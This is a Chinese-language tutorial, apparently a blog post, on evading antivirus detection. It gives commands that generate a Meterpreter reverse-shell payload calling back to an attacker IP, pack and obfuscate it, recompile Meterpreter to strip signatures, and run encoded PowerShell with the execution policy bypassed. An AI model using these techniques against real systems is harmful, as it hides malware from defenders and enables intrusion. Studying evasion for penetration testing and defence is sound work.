当前位置: 首页 > news >正文

关于 免杀(上)

网络安全中的免杀技术:原理、方法与防御

免杀(Anti-AntiVirus,简称 AAV)是绕过杀毒软件、入侵检测系统(IDS)、入侵防御系统(IPS)等安全产品检测的技术,广泛应用于渗透测试的 payload 投递环节,同时也是恶意代码逃避查杀的核心手段。

在合法的渗透测试场景中,免杀是验证目标网络防御有效性的重要技术;但在黑产领域,免杀会被用于传播病毒、木马等恶意程序,需严格区分合法用途与非法滥用的边界。

一、免杀的核心原理

杀毒软件的检测机制主要分为特征码检测、行为检测、启发式检测、云检测四类,免杀技术本质就是针对这些检测机制的规避手段。

  1. 特征码检测杀毒软件会提取恶意程序的唯一特征(如特定字节序列、哈希值 MD5/SHA1)存入病毒库,扫描时比对文件特征。免杀核心思路:修改特征码,让程序脱离病毒库的匹配范围。
  2. 行为检测监控程序运行时的恶意行为(如创建后门、远程连接、修改注册表、注入进程),通过行为规则判定恶意性。免杀核心思路:隐藏或伪装恶意行为,如延迟执行、分段执行、模拟正常程序行为。
  3. 启发式检测不依赖病毒库,通过分析程序的代码结构、指令序列(如调用敏感 API、内存操作),预判程序是否存在潜在威胁。免杀核心思路:模糊代码逻辑、混淆敏感指令,降低启发式引擎的识别概率。
  4. 云检测将文件哈希、特征信息上传至云端进行比对,结合大数据分析判定恶意性。免杀核心思路:避免文件特征入库,如使用动态生成 payload、加密传输数据。

二、静态免杀

静态免杀:修改文件特征,规避特征码 / 启发式检测

  1. 加壳 / 加花指令

    • 原理:加壳是对程序进行加密压缩,运行时由壳代码解密后再执行,隐藏原始程序的特征码;加花指令是在程序头部 / 尾部添加无意义的指令(如空指令、垃圾代码),改变文件的字节特征,不影响程序功能。
    • 工具
      • 压缩壳:UPX、ASPack(易被杀毒软件识别,需搭配其他方法);
      • 加密壳:VMProtect、Themida(强度较高,通过虚拟化指令混淆代码);
      • 手动加花:使用汇编器(NASM)编写花指令,通过HIEW010 Editor等十六进制编辑器插入。
    • 实操示例:对 msfvenom 生成的 payload 进行 UPX 加壳
      # 生成原始 payload(Windows 反向连接) msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe # 使用 UPX 加壳压缩 upx -9 payload.exe -o payload_upx.exe
    • 注意:单纯加壳易被查杀,需结合混淆、加密等手段。
  2. 代码混淆与加密

    • 原理:通过修改代码的语法结构、变量名、函数名,或对核心代码进行加密(如 AES、RC4 加密),隐藏敏感逻辑,规避启发式检测。
    • 适用场景:自定义编写的木马、脚本类 payload(如 Python、PowerShell、C# 代码)。
    • 工具与实操
      • Python 脚本混淆:使用pyminifier混淆代码,或对核心功能进行 AES 加密,运行时解密执行
        # 安装 pyminifier pip install pyminifier # 混淆 Python 脚本 pyminifier --obfuscate=1 --rename-globals payload.py -o payload_obf.py
      • C# 代码混淆:使用ConfuserEx工具,通过控制流混淆、字符串加密、虚方法注入等方式混淆程序集。
    • 核心技巧:避免硬编码敏感数据(如 IP、端口),改为运行时从配置文件 / 网络获取。
  3. 重编译与特征修改

    • 原理:针对开源恶意代码(如 Meterpreter、Cobalt Strike Beacon),修改源代码中的特征字符串、函数名,再重新编译,彻底改变文件特征码。
    • 实操示例:修改 Meterpreter 源代码
      1. 下载 Metasploit 源码,找到meterpreter/source目录下的核心文件;
      2. 替换代码中的特征字符串(如Meterpreter改为随机字符串),调整函数的参数顺序;
      3. 使用 MinGW/Visual Studio 重新编译生成 exe 文件。
    • 优势:修改彻底,免杀效果持久;缺点:需要具备对应编程语言的编译能力。
  4. 文件类型转换

    • 原理:将易被检测的文件类型(如 exe、dll)转换为其他类型(如 scr、bat、ps1),或封装为文档(如 Word、Excel 宏文件)、图片(如 PNG 隐写),利用目标系统的漏洞或信任机制执行。
    • 常见手段
      • 宏病毒免杀:编写混淆后的 VBA 宏代码,嵌入 Word 文档,通过Enable Content触发执行;
      • 脚本免杀:将 PowerShell 脚本进行 Base64 编码,通过命令行隐蔽执行
        powershell -exec bypass -enc <Base64编码后的脚本>
      • LNK 快捷方式钓鱼:制作恶意 LNK 文件,双击时执行隐藏的 payload。
http://www.jsqmd.com/news/249696/

相关文章:

  • 数字孪生是什么?国内外有哪些服务商——技术实力/市场地位深度解析与全景测评
  • 树的练习3--------1022从根到叶的二进制数之和
  • 被多数品牌忽略的:一站式发稿平台为何成为高效营销的必备选择?
  • 基于Johansen协整检验的指数期权统计套利策略实现
  • 救命神器2026最新!8款AI论文平台测评:本科生毕业论文全攻略
  • A59U 多模音频处理模组:USB 全兼容 + 全场景声学优化,让设备 “听见” 更清晰
  • 导师推荐!9款一键生成论文工具测评:本科生毕业论文全攻略
  • 纯血鸿蒙中的HashMap不支持首选项存储,但是Record就支持
  • 2026算法备案最全实操攻略:政策解读、奖励申报与产品上架全流程
  • 苹果签名的江湖风云:四大令牌如何主宰App生死
  • 2026 CTF 比赛实战指南:趋势解读 + 赛事推荐 + 备考策略,从入门到冲奖全攻略
  • 看不见的“门票”:一文读懂苹果签名的游戏规则
  • HMM隐马尔可夫模型在指数期权双币种套利策略
  • 攻防演练全流程实战指南:红队突破与蓝队防御核心技巧(网络对抗全解析)
  • linux清理缓存命令“echo 3 > /proc/sys/vm/drop_caches”
  • 蓝牙学习之Provision(4)
  • RabbitMQ消息堆积问题处理
  • 手把手教你用7款AI写论文工具:效率飙升100%,告别拖延
  • AI应用架构师必看:智能质量控制平台为什么90%的项目死在数据层?
  • USB 赋能 + AI 降噪双 buff!这款语音处理模组,让全场景沟通清晰到底
  • CMDB:从纳管到“活用”,数据驱动运维
  • 高性能多模音频处理模组A59U详解
  • 高保真光学仿真解决方案:基于多物理场耦合与混合数据驱动的产品数字孪生构建
  • 旧 Win7 转 Win11/10 文件传输难题?2 款实用工具快速搞定
  • 导师推荐8个AI论文工具,MBA高效写作必备!
  • 轻松备份策略全解析:备份方式 + 空间管理 + 配置教程
  • 昊衡科技 多芯光纤三维形状传感系统,精准感知!
  • 高效运维新利器-裸金属自动化重装系统
  • 【K8S分配率】Shell脚本计算Kubernetes集群CPU和内存总分配率
  • 项目做多了才明白:时间同步真的不能凑合